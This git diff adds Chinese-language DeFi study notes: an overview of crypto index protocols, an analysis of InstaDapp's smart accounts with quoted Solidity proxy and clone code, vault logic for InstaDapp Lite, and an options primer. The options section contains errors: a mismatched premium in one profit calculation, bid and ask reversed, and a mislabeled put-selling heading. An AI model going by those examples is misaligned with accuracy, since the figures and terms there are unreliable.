+        Limits memory limits = strategiesLimits[strategy];
+        uint256 _profitLimitRatio;
+        uint256 _lossLimitRatio;
+        if (limits.exists) {
+            _profitLimitRatio = limits.profitLimitRatio;
+            _lossLimitRatio = limits.lossLimitRatio;
+        } else {
+            _profitLimitRatio = profitLimitRatio;
+            _lossLimitRatio = lossLimitRatio;
+        }
+
+        if (_profit > ((_totalDebt * _profitLimitRatio) / MAX_BPS)) {
+            return false;
+        }
+        if (_loss > ((_totalDebt * _lossLimitRatio) / MAX_BPS)) {
+            return false;
+        }
+        return true;
+    }
+```
diff --git a/defi/index/readme.md b/defi/index/readme.md
new file mode 100644
index 000000000..fe6bfbf62
--- /dev/null
+++ b/defi/index/readme.md
@@ -0,0 +1,33 @@
+## Index Cooperative
+在不持续监控个别货币表现的情况下，在投资组合中获得加密货币敞口的一种方法是投资于被动管理的投资组合，例如去中心化指数。去中心化指数的工作方式类似于传统金融市场中的交易所交易基金 (ETF)。
+ETF是一种结构性证券，可以追踪任何东西，如指数（如标普500），商品（如贵金属），或其他资产。它可以在证券交易所购买或出售。
+从历史上看，ETF比共同基金等主动管理策略有更好的回报。
+
+Index Coop旗下有五个指数： 
+- DeFiPulse指数(DPI)
+- CoinShares加密黄金指数(CGI)
+- ETH 2倍杠杆指数 (ETH2X-FLI)
+- BTC 2倍杠杆指数 (BTC2X-FLI)
+- Metaverse指数代币（MVI）
+
+## Indexed Finance (NDX)
+Indexed Finance是一个专注于投资组合管理的协议。用户可以铸造、交换或烧毁指数代币和基础资产，从Balancer分叉出来的综合自动做市商（AMM）机制自动重新平衡其指数。  
+Indexed Finance旗下有七个指数：
+- DEGEN指数(DEGEN)
+- 加密货币十大代币指数(CC10)
+- 预言机五强指数（ORCL5）
+- DEFI 5强指数(DEFI5)
+- NFT平台指数 (NFTP)
+- 484基金 (ERROR)
+- 未来金融基金(FFF)
+
+## PowerPool
+PowerPool的指数是基于Balancer的自动做市商（AMM）的智能池开发，具有附加功能。它的主要目的是将治理代币汇集在一起，用于借出、借入和执行元治理。此外，用户可以直接将一个治理代币换成另一个。一个匿名团队运行PowerPool。  
+PowerPool有四个指数：
+- Power指数池代币(PIPT)
+- Yearn生态系统指数 (YETI)
+- ASSY指数(ASSY)
+- Yearn Lazy Ape指数（YLA）
+
+## 参考链接
+https://duneanalytics.com/0xBoxer/indices-products
\ No newline at end of file
diff --git "a/defi/instadapp/InstaDapp\345\220\210\347\272\246\350\247\243\346\236\220.md" "b/defi/instadapp/InstaDapp\345\220\210\347\272\246\350\247\243\346\236\220.md"
new file mode 100644
index 000000000..c5987f42b
--- /dev/null
+++ "b/defi/instadapp/InstaDapp\345\220\210\347\272\246\350\247\243\346\236\220.md"
@@ -0,0 +1,348 @@
+## InstaDapp 是什么  
+Instadapp 是 DeFi 的中间件平台，是一个面向用户的去中心化资产管理协议，提供了针对 MakerDAO, Compound, AAVE , Uniswap 等协议 的高效的资产管理功能，其目标是简化 DeFi 的复杂性，最终成为 DeFi 的统一前端。
+
+## InstaDapp 的两个产品  
+针对不同的用户群体，推出了两个不同的产品，分别是 InstaDapp Lite  和 InstaDapp Pro.
+
+个人感觉，这两个产品主要的区别在 分险系数 、用户对 Defi 认知度的水平 （ 或用户操作的频率 ）
+
+### [InstaDapp Lite](https://lite.instadapp.io/)   
+
+<img src=./pictures/instaDapp1.png width=50% />
+
+低分险 ( 相对于 InstaDapp Pro ），不频繁操作的用户或是对 Defi 认知水平较低的可以选择这个产品。
+
+根据 [官方文档](https://lite.guides.instadapp.io/getting-started/what-is-instadapp-lite) 的介绍，InstaDapp Lite 有如下特点：
+
+1） POS 奖励放大
+
+Lite 只有一个主要收益策略，那就是通过在 [Lido](https://lido.fi/) 上 stake ETH 赚取收益。就算用户 Deposit Dai, Lite 也会把 Dai 转换为 stETH。“POS 奖励放大” 其实也就是通过集中散户的资金，在 Lido 中达到较高的占比，从而获取更高的收益。
+
+另一个次要收益策略是把 stETH 放到 Compound、AAVE 等借贷协议中进行放贷来赚取双重收益。
+
+<img src=./pictures/instaDapp2.png width=50% />   
+
+2） 简化 DeFi 策略
+
+利用 DSA （ DeFi Smart Accounts, 后面 InstaDapp Pro 会详细介绍 ） 账户简化和各个 Defi 协议的操作
+
+3） 最小化交易和节省 Gas 成本
+
+这个也是利用了 DSA 的便利性     
+
+### [InstaDapp Pro](https://defi.instadapp.io/)    
+
+针对这个产品，用户有更多的操作空间，可以利用不同的策略进行杠杆、再融资和转移头寸，同时通过自动化实现回报最大化。
+
+当然这些要求用户具有更加专业的 Defi 知识，能自己控制识别其中的风险。
+
+Pro 页面提供了 Simulation 功能，用户可以在正式使用前，进行模拟操作，熟悉掌握 Pro 的用法
+
+<img src=./pictures/instaDapp3.png width=50% />  
+
+1） Pro 目前在 Ethereum Mainnet 上集成了 Maker、Compound、Aave V2、Aave V3、Uniswap V3、Liquity、Savings Dai、Morpho、Morpho V3、Spark 这些协议，在其他 L2 上集成的协议较少。比如 Polygon 上， 就只集成了 Aave V2、Aave V3、Compound V3、Uniswap V3
+
+2） 对于用户的账户资金，可以进行如下操作：
+
+- 资产跨链 （ 集成 [Hop.Exchange](http://Hop.Exchange) 实现 ）
+- 资产交易 （ swap )
+- Deposit、Withdraw
+
+3）对于用户的杠杆、头寸的操作，Pro 定义为 Strategies，总共有如下 Strategies:
+
+- Refinance ， 比如把 Aave V2 的仓位转移到 到 Morpho
+- Leverage / Max mining，最大化杠杆，比如在 Aave 中存入 ETH, 借出 Dai 后再转换为 ETH, 然后在存入 Aave 中，这样循环操作
+- Unwind / Deleverage，降低杠杆，比如 withdraw Aave 中的 ETH 用来偿还从 Aave 中借出的 Dai
+- Collateral Swap， 抵押品转换，例如 withdraw 部分 Aave 中的抵押品 ( ETH )，然后把这部分的 ETH 换成 USDT 后在存入到 Aave 中
+- Debt Swap, 债务转换，比如已经从 Aave 中借出 10 Dai, 那么现在再从 Aave 中借出 5 USDT，把这 5 USDT 转换为 Dai, 偿还 Aave 中的 Dai, 那么最后用户就从 10 Dai 的债务变为 5 Dai、5 USDT 的债务
+- Deposit & Borrow , 存入和借款，就是在一笔交易中完成存入和借款的操作
+- Payback & Withdraw, 偿还和提取，在一笔交易中完成债务偿还和取款的操作
+
+总结，从上面我们可以看到，Pro 的这些 Strategies 其实就是组合了多笔操作，把原先用户需要 2 -3 笔交易才能完成的操作合并为 1 笔交易，同时操作的主要对象还是当前仓位对应的 Defi
+
+## InstaDapp  架构
+
+对于 Lite 和 Pro 都是采用同一套架构，其中主要分为了 3 个角色
+
+- Dapp
+    
+    和 DeFi Smart Layer (DSL)  交互的 Dap，包括 InstaDapp、其他 Dapp 、Wallet ( 如 Metamask 等 )
+    
+- DeFi Smart Layer (DSL)
+    
+    DeFi 智能层，也是  InstaDapp 的核心逻辑层，这一层又可以细分为 3 个部分
+    
+    - Authority: 只有授权的地址才可以操作 **Smart Accounts ，使用 Smart Accounts 中的资金进行操作**
+    - Defi Smart Accounts ( DSA )**：智能账户层 ( 其实就是 solidity 合约 ）。**InstaDapp **单独创建一个 solidity 合约作为用户的 Account ，优势在于 InstaDapp 可以在合约中插件式组合各种操作，从而在一笔交易中完成复杂的操作，而这是原生的 address 无法完成的**
+    - Connectors:  连接器层。**Smart Accounts  没有直接和各个 Defi 协议进行交易，而是通过 Connector 进行操作，实现了账户和操作分离的架构。各个开发者或是项目方可以通过实现特定的 Connector ，完美的接入 InstaDapp 中**
+        
+        
+        各个链各个 Defi Protocol 对应的 connector 对应官网如下：https://docs.instadapp.io/connectors/mainnet/aave-v2
+        
+- Defi Protocol
+    
+    协议层，对应的就是各个 Defi 协议
+    
+
+    <img src=./pictures/instaDapp4.png width=50% />   
+
+    参考来源：https://blog.instadapp.io/introducing-defi-smart-layer/
+
+## Defi Smart Layer 实现
+
+下面将分析 Defi Smart Layer 的具体实现逻辑。
+
+### 创建 Smart  Account
+
+从 Defi Smart Layer 的结构中可以看到，用户必须要有一个 Smart Account 才能和各个 Defi 进行交互。而且当用户初次进入 InstaDapp Pro 的时候，会强制要求用户创建一个 DSA
+
+<img src=./pictures/instaDapp5.png width=50% />   
+
+创建 Smart Account 的具体过程如下：
+
+- 用户调用 InstaIndex 合约的 build 接口
+
+```
+function build(
+        address _owner,
+        uint accountVersion,
+        address _origin
+    ) public returns (address _account) {
+        require(accountVersion != 0 && accountVersion <= versionCount, "not-valid-account");
+        _account = createClone(accountVersion);  // 通过 clone 的 方式生成 Smart Account
+        ListInterface(list).init(_account);
+        AccountInterface(_account).enable(_owner);
+        emit LogAccountCreated(msg.sender, _owner, _account, _origin);
+    }
+```
+
+ InstaIndex 合约实现可参考：https://polygonscan.com/address/0xa9b99766e6c676cf1975c0d3166f96c0848ff5ad#code
+
+- InstaIndex 在 build 接口内部通过 clone 的方式生成 Smart Account
+
+```
+function createClone(uint version) internal returns (address result) {
+        bytes20 targetBytes = bytes20(account[version]);
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            let clone := mload(0x40)
+            mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
+            mstore(add(clone, 0x14), targetBytes)
+            mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
+            result := create(0, clone, 0x37)
+```
+
+Smart Account 合约实现可参考： https://polygonscan.com/address/0x51cbc90528bf960a6d5728306f0e9fae3cce38ed#code
+
+至此，Smart Account 就创建完成
+
+### Smart Account 的 delegate
+
+Smart Account 内部代码很简洁，所有过来的用户调用最终通过 delegate 的方式调用到真正的业务合约，这里的 delegate 的目标地址为 implementation 地址
+
+```
+contract InstaAccountV2 {
+
+    AccountImplementations public immutable implementations;
+
+    constructor(address _implementations) {
+        implementations = AccountImplementations(_implementations);
+    }
+
+	...................
+
+    function _fallback(bytes4 _sig) internal {
+        address _implementation = implementations.getImplementation(_sig);
+        require(_implementation != address(0), "InstaAccountV2: Not able to find _implementation");
+        _delegate(_implementation);
+    }
+
+		fallback () external payable {
+        _fallback(msg.sig);
+    }
+
+}
+```
+
+- _delegate 具体实现如下
+
+```
+function _delegate(address implementation) internal {
+        // solhint-disable-next-line no-inline-assembly
+        assembly {
+            // Copy msg.data. We take full control of memory in this inline assembly
+            // block because it will not return to Solidity code. We overwrite the
+            // Solidity scratch pad at memory position 0.
+            calldatacopy(0, 0, calldatasize())
+
+            // Call the implementation.
+            // out and outsize are 0 because we don't know the size yet.
+            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
+
+            // Copy the returned data.
+            returndatacopy(0, 0, returndatasize())
+
+            switch result
+            // delegatecall returns 0 on error.
+            case 0 { revert(0, returndatasize()) }
+            default { return(0, returndatasize()) }
+        }
+    }
+```
+
+Smart Account 处理流程图：
+
+<img src=./pictures/instaDapp6.png width=50% />  
+
+### Implementation 的实现
+
+从如下 Smart Account 的 fallback 接口中可以看到，根据用户的 sig， 可以选择不同的 implementation 实现，这里以其中的一个实现 InstaImplementationM1 为例进行分析
+
+```
+function _fallback(bytes4 _sig) internal {
+        address _implementation = implementations.getImplementation(_sig);
+        require(_implementation != address(0), "InstaAccountV2: Not able to find _implementation");
+        _delegate(_implementation);
+    }
+```
+
+InstaImplementationM1 合约实现可参考：
+
+https://etherscan.io/address/0x8a3462a50e1a9fe8c9e7d9023cacbd9a98d90021
+
+- cast 调用
+
+InstaImplementationM1 中的入口只有一个，那就 cast 接口。
+
+cast 处理过程如下：
+
+- 根据传入的 _targetNames ( 这个参数是个数组 ）获取对应的 connectors ( 返回的 connectors 也是个数组 ），connectors 在代码中对应为 _targets
+- 然后对每个 _target 调用 spell ，其实就是 delegate call
+
+```solidity
+    function cast(
+        string[] calldata _targetNames,
+        bytes[] calldata _datas,
+        address _origin
+    )
+    external
+    payable 
+    returns (bytes32) // Dummy return to fix instaIndex buildWithCast function
+    {   
+		    ..............
+
+        string[] memory eventNames = new string[](_length);
+        bytes[] memory eventParams = new bytes[](_length);
+
+        (bool isOk, address[] memory _targets) = ConnectorsInterface(connectorsM1).isConnectors(_targetNames);
+
+        require(isOk, "1: not-connector");
+
+        for (uint i = 0; i < _length; i++) {
+            bytes memory response = spell(_targets[i], _datas[i]);
+            (eventNames[i], eventParams[i]) = decodeEvent(response);
+        }
+
+        ..............
+    }
+```
+
+- 如下查看 spell 代码，可以发现里面使用的就是 delegate call 到 connector
+
+```
+function spell(address _target, bytes memory _data) internal returns (bytes memory response) {
+        require(_target != address(0), "target-invalid");
+        assembly {
+            let succeeded := delegatecall(gas(), _target, add(_data, 0x20), mload(_data), 0, 0)
+            let size := returndatasize()
+            
+            response := mload(0x40)
+            mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))))
+            mstore(response, size)
+            returndatacopy(add(response, 0x20), 0, size)
+
+            switch iszero(succeeded)
+                case 1 {
+                    // throw if delegatecall failed
+                    returndatacopy(0x00, 0x00, size)
+                    revert(0x00, size)
+                }
+        }
+    }
+```
+
+- connector 中就是和具体的 Defi protocol 交互的逻辑，比如 Aave, Uniswap, Compound
+
+ConnectV2AaveV2Polygon **可参考如下：**
+
+https://polygonscan.com/address/0x14272cf069a5ce1b97c9999b8c368cf3704acd0b#code
+
+### Smart Account 整体调用流程
+
+总结起来，Smart Account 调用的整体流程如下图
+
+<img src=./pictures/instaDapp7.png width=50% />  
+
+### Smart Account 调用实例
+
+下面以在 InstaDapp Pro 上，对 Aave V2 的仓位进行 Leverage / Max mining 为例进行复盘分析
+
+<img src=./pictures/instaDapp8.png width=50% />   
+
+- 交易如下
+
+传入的参数 _targetNames 中，存在三个元素
+
+<img src=./pictures/instaDapp9.png width=50% />   
+
+重放交易，可以看到其中具体的跳转
+
+<img src=./pictures/instaDapp10.png width=50% />  
+
+交易分析工具： https://dashboard.tenderly.co/
+
+### Authority 角色赋权
+
+Defi Smart Layer 中的一个重要角色就是 Authority ( user )
+
+一个  Smart Account 可以有多个 Authorities
+
+<img src=./pictures/instaDapp11.png width=50% /> 
+
+Authority 的管理涉及到两个合约，InstaList 和 InstaIndex ，这两个合约记录了 Smart Account 和各个 Authority 的对应关系
+
+**InstaList 合约代码：** https://polygonscan.com/address/0x839c2D3aDe63DF5b0b8F3E57D5e145057Ab41556#code
+
+**InstaIndex 合约代码：** https://polygonscan.com/address/0xa9b99766e6c676cf1975c0d3166f96c0848ff5ad#code
+
+- 初次创建 Smart Account 时添加 Authority
+
+在前文中讲到，在创建 Smart Account 的时候，需要调用 InstaIndex 的 build 接口。在这个接口中，会把 user 添加到新创建的 Smart Account 的 Authority 里面，
+
+```solidity
+function build(
+        address _owner,
+        uint accountVersion,
+        address _origin
+    ) public returns (address _account) {
+        require(accountVersion != 0 && accountVersion <= versionCount, "not-valid-account");
+        _account = createClone(accountVersion);
+        ListInterface(list).init(_account);
+        AccountInterface(_account).enable(_owner); // 添加 owner 为 Authority
+        emit LogAccountCreated(msg.sender, _owner, _account, _origin);
+    }
+```
+
+- 添加其他 Authority
+
+在界面手工添加另一个 Authority， 在交易参数中，可以看到 _targetNames 传入的参数值为 AUTHORITY-A
+
+<img src=./pictures/instaDapp12.png width=50% /> 
+
+重放这笔交易，可以看到最终时调用的 InstaList 的 addAuth
+
+<img src=./pictures/instaDapp13.png width=50% /> 
+
+最后吐糟下，官方的 repo 的只需要看 dsa-contract 这个 repo 就可以了
+
+官方的 doc 文档确实最新的，所以最好是直接对着 doc 文档，然后发笔交易进行 debug
\ No newline at end of file
diff --git a/defi/instadapp/code.md b/defi/instadapp/code.md
new file mode 100644
index 000000000..0540a6213
--- /dev/null
+++ b/defi/instadapp/code.md
@@ -0,0 +1,179 @@
+# Instadapp
+
+
+## code analysis
+1. InstaIndex: This is the Main Contract for all the Defi Smart Accounts. Used to create a new Defi Smart Account for a user and run a cast function in the new smart account.
+
+2. InstaImplementationM1: This contract contains most core functions of smart account name cast(). It is only called by owners of smart accounts and has full-fledge access over the smart account. Used also to access all the DSA.
+
+3. build(owner, accountVersion, _origin) 
+Create a DSA Account using this function. It returns the address of the DSA account created.
+
+4. cast(_targets, _datas, _origin) 
+Using cast() user can access the connectors, which allows the smart account to interact with protocols or set up any settings on the smart account.
+
+
+Connectors are standard proxy logics contract that let DeFi Smart Account (DSA) interact with various smart contracts, and make the important actions accessible like cross protocol interoperability. 
+
+
+
+- Index: This is the Main Contract for all the DeFi Smart Accounts. Used for creating a new DeFi Smart Account of a user and to run a cast function in the new smart account.
+
+- InstaList: Maintains a registry of all the DeFi Smart Account users using a Linked List. Using the user’s address, a smart account Id is created which is later mapped to get a smart account address. With this address, an account link is created which is utilised to add and remove accounts from the LinkedList.
+
+- InstaAccounts: It’s the DeFi Smart Account Wallet. All smart accounts that are created are a clone of this contract.
+
+- InstaConnectors: Holds a registry of all the Connectors associated with InstaDapp. An array of all the connectors is maintained using their address.
+
+- InstaMemory: All the data (bytes, uint, address and Storage Id) for the cast function are stored in this contract.
+
+
+# instadapp lite 
+
+## v1 code analysis 
+
+usr  ->  ieth  -> DSA -> aave 
+User interaction contract: 0x8140725f7bda9484e20a86b9ed76cd39748824d6   ethwrapper
+**iETH v1:**
+0xc383a3833a87009fd9597f8184979af5edfad019   (system parameters)
+Implement:  https://etherscan.io/address/0x79a043f68547dff57f4f5f30115d76bf01e8fdfc#code
+code:       https://etherscan.deth.net/address/0x79a043f68547dff57f4f5f30115d76bf01e8fdfc#code 
+vaultDSA:  0x94269A09c5Fcbd5e88F9DF13741997bc11735a9c 
+Rebalance contract:  https://etherscan.io/address/0xcfcdb64a551478e07bd07d17cf1525f740173a35#code
+
+
+
+#### supply 方法：
+1. 如果是eth，则将将eth在1inch兑换成steth
+2. 调用ethVault.supply方法，传入steth数量，返回itoken数量；
+3. InstaVault： 0xc383a3833A87009fD9597F8184979AF5eDFad019 
+主要调用supplyInternal 方法
+   - getCurrentExchangePrice 获取当前的ieth的兑换率；并更新当前的ieth兑换率以及协议收益revenue；
+   - vtokenAmount_ = (amount_ * 1e18) / exchangePrice_; mint出vtokenAmount_数量发送给用户。
+
+
+### withdraw方法：
+ withdraw(uint256 amount_, address to_)
+1. 调用withdrawInternal(amount_, to_, false);
+    - getCurrentExchangePrice获取当前汇率
+    - updateStorage(exchangePrice_, newRevenue_) 更新汇率以及协议收益revenue;
+    - 根据汇率计算出可提steth数量
+    - burn itoken
+    - 收取万一的withdraw fee，得出最终可提数量，
+    调用 withdrawFinal(uint256 amount_, bool afterDeleverage_) 方法
+      - 调用netAssets()，获取vault和 vaultDSA 各自steth,weth余额；
+      - 如果afterDeleverage_为false， 则保证金率需要5%以上， 如果为true，保证金率需要10%以上，maxLimit最大负债率为72%；
+      - 计算最大可借债务：colCoveringDebt_ = ((netBorrow_ * 10000) /(ratios.maxLimit - margin_)); 
+      - 检查用户可提取amount需要小于balances_.totalBal + netCollateral_ - colCoveringDebt_，即系统最大可提取金额；
+      - 提款顺序： 优先提vault的weth， steth, 再提 vaultDSA的weth， steth, 然后从借贷协议取； 计算出各个vault可提取transferAmts_[5]；
+      - 调用withdrawTransfers(uint256 amount_, uint256[] memory transferAmts_)
+           returns (uint256 wethAmt_, uint256 stEthAmt_) 执行转账操作，返回要转的weth和steth金额；aave提取的钱以及vaultDSA的钱都会返回到vault合约。最后由vault合约转给用户；
+            
+      - 调用validateFinalRatio检查协议安全系数； maxIsOk_，以及hfIsOk_；  
+      - 如果afterDeleverage_是true，还要检查minGapIsOk_， 是否满足最小借债率要求；  
+
+
+
+### leverage 方法 
+function leverage(uint256 amt_) external nonReentrant 
+// If ratio is below then this function will allow anyone to swap from steth -> weth.  seth->weth
+1. 扣除swapfee后（目前是0）， 用户转入amt_ 的steth;
+2. 计算vault当前weth，以及steth数量；
+3. 如果weth充足，直接转给用户weth； 函数返回
+4. 如果不足，则将vault的所有steth充入vaultDsa，然后将steth一起deposit到aave，borrow剩余的weth，返回给用户；
+5. 并检查validateFinalRatio。 maxIsOk_，minIsOk_最大和最小负债率。
+
+
+
+### deleverage 方法 
+ function deleverage(uint256 amt_) external nonReentrant
+//If ratio is above then this function will allow anyone to payback WETH and withdraw astETH to msg.sender at 1:1 ratio.
+// weth -> steth, 减少池子在aave的债务。
+1. 调用deleverageInternal方法， 
+   - vault合约将用户的weth转入到vaultDSA;
+   - 先偿还aave上amt的的weth债务，
+   - 如果不是DSA，直接从aave提取加上deleverage fee的amt weth， 然后转steth给用户。
+   - 如果用户是DSA，则从vaultDSA直接提取astethToken给用户。 
+2.  检查validateFinalRatio。 minGapIsOk_最小负债率
+
+
+### rebalanceOne 
+ 方法：leverage and rebalance the position.增加负债，平衡仓位；
+ rebalanceOne(
+        address flashTkn_,
+        uint256 flashAmt_, 
+        uint256 route_,             // flashloan route
+        address[] memory vaults_, // leverage using other vaults
+        uint256[] memory amts_,
+        uint256 excessDebt_,     //增加债务 weth
+        uint256 paybackDebt_,    //减少债务 weth
+        uint256 totalAmountToSwap_,  // 1inch swap  steth ->weth
+        uint256 extraWithdraw_,      //提款
+        uint256 unitAmt_,           //swap slippage
+        bytes memory oneInchData_
+    )
+    
+    1. functionDelegateCall 方法rebalancerModuleAddr： https://etherscan.io/address/0xcfcdb64a551478e07bd07d17cf1525f740173a35#code 
+    2. 一系列检查， 不能同时增加债务和偿还债务， 不能同时swap和偿还债务，
+    3. getIdealBalances 获取vault和vaultDSA weth,steth空余余额,以及闲置总余额；
+    4. 如果weth，steth大于0.0001， 转入到vaultDSA;
+    5. 如果是excessDebt_，增加债务，在aave存入flashTkn_，flashAmt_借出excessDebt_ weth债务，
+       如果vaults_不为空； 
+       循环调用vaults的deleverage方法，转入weth，换取steth，帮助 vaults降低杠杆；
+       如果totalAmountToSwap_不为空，则调用1inch接口，卖出stEthAddr换steth，然后存入aave。
+       excessDebt_存在，则从aave再withdraw flashTkn_,flashAmt_, 然后flashPayback。偿还闪电贷。 
+    6. 检查validateFinalRatio
+
+
+
+###  rebalanceOne
+// 调仓使得仓位更安全， 方便用户退出，   
+ function rebalanceTwo(
+        uint256 withdrawAmt_,
+        address flashTkn_,
+        uint256 flashAmt_,
+        uint256 route_,
+        uint256 totalAmountToSwap_,
+        uint256 unitAmt_,
+        bytes memory oneInchData_
+    ) external  
+    
+   1.  validateFinalRatio()获取hf，安全则设置2%滑点，不安全5%
+   2. getIdealBalances 获取vault和vaultDSA weth,steth空余余额,以及闲置总余额；
+   3. 将空闲资金转入vaultDSA;
+   4. 使用闪电贷，卖出steth，买入weth；偿还债务
+   5. 检查validateFinalRatio
+
+
+
+## instadapp lite v2 code analysis 
+
+v2 function description 
+1. ERC-4626 Standard
+2. Multi-protocol Strategy
+3. Improved Withdrawals 
+4. Rebalancers
+
+The Rebalancer can carry out the following transactions on the vault:
+- deposit
+deposit assets from the vault into a protocol whenever the vault has excess deposit
+- withdraw 
+withdraw assets  from protocol back to vault;  It can only happen as per the max ratios;
+- leverage 
+leveraging the assets to earn greater yield  as per the max ratio
+- Refinance
+ move assets between protocols;
+When you deleverage the vault, the vault unwinds by selling stETH collateral to repay ETH debt. When issuing a deleverage there will be increased gas costs as the transaction uses a flashloan to unwind the vault and withdraw your deposit.
+
+**for User** 
+Deleveraging:  If for any reason there is not enough liquidity in the withdraw pool or you want to withdraw more than is available, you still redeem your balance by forcing a deleverage to the vault.
+
+
+**iETH v2**
+0xA0D3707c569ff8C87FA923d3823eC5D81c98Be78 
+Implement: https://etherscan.io/address/0x172455d14d1eb242e6f7f3b451529ab289095bb6#code
+
+
+
+## Reference
+- Introducing Lite v2: https://blog.instadapp.io/introducing-lite-v2/
\ No newline at end of file
diff --git a/defi/instadapp/pictures/instaDapp1.png b/defi/instadapp/pictures/instaDapp1.png
new file mode 100644
index 000000000..2d2c20599
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp1.png differ
diff --git a/defi/instadapp/pictures/instaDapp10.png b/defi/instadapp/pictures/instaDapp10.png
new file mode 100644
index 000000000..ce0d86dbf
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp10.png differ
diff --git a/defi/instadapp/pictures/instaDapp11.png b/defi/instadapp/pictures/instaDapp11.png
new file mode 100644
index 000000000..81428253a
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp11.png differ
diff --git a/defi/instadapp/pictures/instaDapp12.png b/defi/instadapp/pictures/instaDapp12.png
new file mode 100644
index 000000000..18013221d
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp12.png differ
diff --git a/defi/instadapp/pictures/instaDapp13.png b/defi/instadapp/pictures/instaDapp13.png
new file mode 100644
index 000000000..8f1a3cf61
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp13.png differ
diff --git a/defi/instadapp/pictures/instaDapp2.png b/defi/instadapp/pictures/instaDapp2.png
new file mode 100644
index 000000000..a4b5d0d98
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp2.png differ
diff --git a/defi/instadapp/pictures/instaDapp3.png b/defi/instadapp/pictures/instaDapp3.png
new file mode 100644
index 000000000..0fa36c399
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp3.png differ
diff --git a/defi/instadapp/pictures/instaDapp4.png b/defi/instadapp/pictures/instaDapp4.png
new file mode 100644
index 000000000..5e812823a
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp4.png differ
diff --git a/defi/instadapp/pictures/instaDapp5.png b/defi/instadapp/pictures/instaDapp5.png
new file mode 100644
index 000000000..94d2cf5a4
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp5.png differ
diff --git a/defi/instadapp/pictures/instaDapp6.png b/defi/instadapp/pictures/instaDapp6.png
new file mode 100644
index 000000000..c2b8bd524
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp6.png differ
diff --git a/defi/instadapp/pictures/instaDapp7.png b/defi/instadapp/pictures/instaDapp7.png
new file mode 100644
index 000000000..dba9ab6ee
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp7.png differ
diff --git a/defi/instadapp/pictures/instaDapp8.png b/defi/instadapp/pictures/instaDapp8.png
new file mode 100644
index 000000000..5170e6ea9
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp8.png differ
diff --git a/defi/instadapp/pictures/instaDapp9.png b/defi/instadapp/pictures/instaDapp9.png
new file mode 100644
index 000000000..77332d9f1
Binary files /dev/null and b/defi/instadapp/pictures/instaDapp9.png differ
diff --git a/defi/instadapp/readme.md b/defi/instadapp/readme.md
new file mode 100644
index 000000000..e9fb3766b
--- /dev/null
+++ b/defi/instadapp/readme.md
@@ -0,0 +1,9 @@
+# Instadapp
+
+
+## 相关竞品
+1. defisaver
+2. cian
+
+## Reference
+- Introducing Lite v2: https://blog.instadapp.io/introducing-lite-v2/
\ No newline at end of file
diff --git a/defi/opyn/derivative.md b/defi/opyn/derivative.md
new file mode 100644
index 000000000..3385e3351
--- /dev/null
+++ b/defi/opyn/derivative.md
@@ -0,0 +1,92 @@
+## Opyn
+## 什么是期权
+期权是衍生品合约，赋予买方在特定日期以固定价格购买或出售固定数量的标的资产的权利，但没有义务（对于欧式期权）。 
+
+**场景**   
+
+期权也是一种杠杆，买入期权可以让人以小博大，卖出期权可以让人赚取发行费用。比如买入看涨期权让人最多损失期权费，最高收益无限，相反，卖出看涨期权，可以赚取期权发行费，同时也可能损失抵押物，期权的买方和卖方互为对手盘。
+
+主要原因包括：创收、投机和对冲。鉴于加密货币的波动性，使用期权最流行的例子是对冲资产价格下跌以限制下行损失。期权也用于产生经常性收入。此外，期权可用于投机目的，允许交易者利用杠杆对标的资产价格进行定向押注。
+
+
+**类型**  
+
+期权分为两种，即看涨期权(call)和看跌期权（put）。
+看涨期权是一项权利，而不是在特定时期内以特定执行价格购买资产的义务。另一方面，看跌期权也是一项权利，而不是在特定时间内以特定执行价格出售资产的义务。
+
+涨期权赋予持有人以设定价格购买资产的权利，而看跌期权赋予持有人以设定价格出售资产的权利
+
+对应每个期权的买家，必须有一个期权的卖方(bid)。期权的买方(ask)将向期权的卖方支付溢价，以获得该权利。  
+对于美式期权，买方可以在到期日之前的任何时间行使期权，而对于欧式期权，买方只能在行权日行使期权。  
+
+参与期权有4种方式：买入看涨期权，卖出看涨期权，买入看跌期权，卖出看跌期权。 买入是权利，卖出时义务。  
+
+**买入看涨期权：**  
+
+买入看涨期权意味着买方有权力在约定的日期以约定的价格买入某个资产。比如以250美金买入一份8月27日到期执行价格为2800美金的以太坊看涨期权，让买方有权利在8月27日以2800美金买入一个以太坊，如果8月27日以太坊的价格为3800美金，那么买方执行这份期权就赚了800（1000-200）美金，如果8月27日以太坊价格不高于2800美金，期权买方就要亏掉所有期权费了，卖方就赚了250美金的期权费。  
+
+**卖出看涨期权**  
+
+卖出看涨期权意味着卖方有义务在约定的日期以约定的价格卖出某个资产。
+比如卖方抵押1个以太坊并以238美金的价格卖出一份8月27日到期执行价格为2800美金的以太坊看涨期权，卖方有义务在8月27日以2800美金卖出一个以太坊，如果8月27日以太坊的价格为3800美金，那么执行这份期权卖方就亏了762（1000-238）美金，如果8月27日以太坊价格不高于2800美金，期权卖方就赚了238美金的期权费。  
+
+**买入看跌期权**  
+
+买入看跌期权意味着买方有权力在约定的日期以约定的价格卖出某个资产。  
+比如以17美金的代价买入一份8月27日到期执行价格为1800美金的以太坊看跌期权，让买方有权利在8月27日以1800美金卖出一个以太坊，如果8月27日以太坊的价格为1500美金，那么买方执行这份期权就赚了283（300 – 17）美金，如果8月27日以太坊价格不低于1800万美金，执行期权没有利润可图，期权买方就亏了17美金的期权费。  
+
+**卖出看跌期权**   
+
+卖出看涨期权意味着卖方有义务在约定的日期以约定的价格买入某个资产。
